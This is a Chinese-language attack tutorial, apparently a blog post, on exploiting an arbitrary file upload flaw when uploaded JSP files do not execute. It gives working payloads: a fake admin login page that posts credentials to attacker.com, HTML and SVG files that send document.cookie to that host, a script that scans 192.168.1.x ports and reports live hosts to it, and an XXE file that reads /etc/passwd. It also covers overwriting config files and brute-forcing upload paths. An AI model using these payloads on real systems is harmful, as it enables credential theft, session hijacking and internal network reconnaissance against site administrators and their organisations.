任意文件上傳但 JSP 失效?別急,文件上傳還有這些隱藏玩法!
一、漏洞背景
目標系統存在任意文件上傳漏洞,攻擊者可以上傳任意類型的文件,包括 .jsp、.html、.js 等。但:
- .jsp 雖可上傳,但 無法執行(可能情況:Web 服務器不解析 JSP、權限限制、文件路徑未知等)。
- 文件真實路徑已知,上傳后文件訪問不解析執行。
- 不能依賴傳統的 WebShell 方式上線或執行命令。
那么,此時我們還能做什么呢?以下是完整的實戰指南。
二、核心目標
即使無法執行服務器端腳本,任意文件上傳仍具備以下潛力:
- 信息擴大與目標偵察
- 誘導型攻擊(釣魚/社工)
- 輔助其他漏洞鏈構建(如 XSS、LFI、XXE 等)
三、利用方式與可行性分析
1. 上傳 HTML + JS 頁面誘導訪問(釣魚攻擊)
思路: 上傳惡意 HTML 頁面,誘導管理員點擊訪問,執行 JS 代碼,實現 XSS、信息收集或內網探測。
示例:上傳誘導頁面 login.html
<!-- fake_admin_login.html -->
<html>
<body>
<h2>后臺登錄已超時,請重新登錄</h2>
<form action="http://attacker.com/collect" method="POST">
用戶名:<input name="user"><br>
密碼:<input type="password" name="pass"><br>
<input type="submit" value="登錄">
</form>
</body>
</html>
利用方式:
- 上傳該文件,設為 login.html
- 發送釣魚鏈接到管理員或目標用戶(如:https://target.com/uploads/login.html)
- 等待憑據提交到攻擊者服務器
2. 注入型 HTML/JS 頁面 -> XSS 腳本執行
思路: 上傳帶有 XSS Payload 的 .html, .svg, .js 文件,誘導訪問即觸發腳本。
示例:xss.html
<html>
<body>
<script>
fetch("http://attacker.com/collect?cookie=" + document.cookie);
</script>
<h1>加載中...</h1>
</body>
</html>
利用方式:
- 上傳 xss.html
- 訪問鏈接誘導管理員點擊(或目標系統自動加載 HTML 頁面如日志、圖像、文檔)
- 自動發送管理員 Cookie 給攻擊者,實現后臺會話劫持
3. SVG 文件 XSS 利用(繞過限制)
思路: SVG 是合法圖像格式,支持嵌入腳本,可繞過部分上傳限制系統。
示例:xss.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?c='+document.cookie)">
<circle cx="100" cy="100" r="50" fill="blue"/>
</svg>
利用方式:
- 上傳 xss.svg
- 如果有“文件預覽”、“圖像查看”功能,管理員點擊查看時即被觸發
4. 利用上傳文件進行內網信息收集(誘導掃描)
思路: 上傳 JS 頁面誘導用戶瀏覽器請求內網地址,攻擊者據此確認內網結構。
示例:intranet_scan.html
<script>
const ports = [80, 8080, 5000, 8000];
const subnet = "192.168.1.";
for (let i = 1; i <= 254; i++) {
ports.forEach(port => {
let target = `http://${subnet}${i}:${port}`;
fetch(target, { mode: 'no-cors' }).then(() => {
fetch("http://attacker.com/log?host=" + encodeURIComponent(target)); // 結果返回
});
});
}
</script>
利用方式:
- 誘導管理員或內部用戶訪問上傳頁面
- 瀏覽器觸發內網請求
- 攻擊者服務器接收成功請求,獲得內網 IP 存活資產
5. 惡意 XML / JSON 文件觸發 XXE / 配置注入
思路: 某些系統會解析上傳的 XML/JSON 文件,若未安全配置,可能觸發 XXE 或 JSON 配置注入。
示例:evil.xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<root>&xxe;</root>
利用方式:
- 上傳該 XML 文件(如配置文件、報告模板等)
- 等待系統解析并反饋結果
- 若 XXE 存在,攻擊者能獲取服務器本地文件內容
6. 文件覆蓋 / 配置污染(需路徑可控)
思路: 若上傳路徑可控或服務端目錄結構可探測,嘗試覆蓋配置文件、JS 文件、日志文件等。
比如:
- 覆蓋 .js 文件供前端加載
- 覆蓋 Nginx 配置或 Spring YAML 配置(若應用會加載上傳的配置)
四、如何獲取文件真實路徑
1. 響應內容回顯分析
大多數文件上傳接口在上傳成功后會返回響應信息,其中可能包含如下內容:
- 文件的訪問路徑(絕對或相對){"url":"/upload/imgs/abc.jpg"}
- 存儲路徑或文件名{"filePath":"C:\\web\\uploads\\abc.jsp"}
- 上傳后的文件名(可用于拼接路徑){"file":"abc.jsp"}
建議:詳細分析響應體中的 JSON、HTML、Headers,尤其是如 url、path、location 字段。
2. 功能頁面自動引用上傳文件
有些上傳功能會直接在前端頁面或后端邏輯中使用上傳的文件,例如:
- 上傳頭像后,在用戶詳情頁自動加載該圖片
- 上傳合同后,在某個預覽地址中通過真實路徑訪問文件
- 富文本上傳圖片后,在文章編輯區預覽
建議:
- 上傳文件后觀察是否有圖片、音頻、PDF 等自動加載;
- 監聽是否有新請求發起,URL 中可能就含有真實路徑;
- 若返回 img src、iframe、object 標簽,路徑常嵌入其中。
3. 路徑猜解與探測(信息有限時)
若以上兩種方式都失敗,就只能根據已有線索猜測路徑或進行探測。例如:
(1) 根據上傳接口的路徑推斷訪問路徑:
- 上傳接口為 /api/upload/image
- 通常可猜測訪問路徑可能為 /static/upload/image/xxx.png
(2) 常見路徑規則嘗試:
- /uploads/
- /userfiles/
- /static/
- /assets/upload/
- /files/
(3) 使用目錄掃描工具(如 dirsearch)配合上傳文件名進行路徑爆破。
(4) 結合響應文件名構造路徑:
- /upload/abc.jpg
- /uploads/images/abc.jpg
- 返回了文件名 abc.jpg,你可以嘗試:
注意:猜測路徑時盡量使用時間戳、UUID、用戶ID等組合邏輯,還可結合源碼、JS、路徑泄漏等輔助信息。
五、總結
- 不要一開始就死磕 .jsp 的執行
- 盡量從業務功能角度多思考上傳的文件,如何被使用、包含或處理
- 善用 HTML + JS 組合的誘導和信息獲取能力
- 一旦能訪問上傳文件,釣魚 + XSS 是最快獲取權限的方式之一
利用方式 | 文件類型 | 目標效果 | 難度 | 附加條件 |
HTML 釣魚/社工 | .html | 獲取憑據,誘導訪問 | ? | 用戶配合/誘導 |
JS 掃描腳本 | .js /.html | 內網探測/信息泄露 | ?? | 管理員需訪問 |
XSS 攻擊 | .html /.svg | 打 Cookie,后臺劫持會話 | ??? | 瀏覽器解析+誘導點擊 |
XXE 注入 | .xml | 讀取服務器文件 | ??? | 服務端解析器需存在 XXE 漏洞 |
SVG 繞過上傳限制 | .svg | 圖像預覽時觸發 | ?? | 圖像可預覽/自動渲染 |
配置覆蓋攻擊 | 任意 | 覆蓋 JS/config,污染執行點 | ???? | 上傳路徑可控 |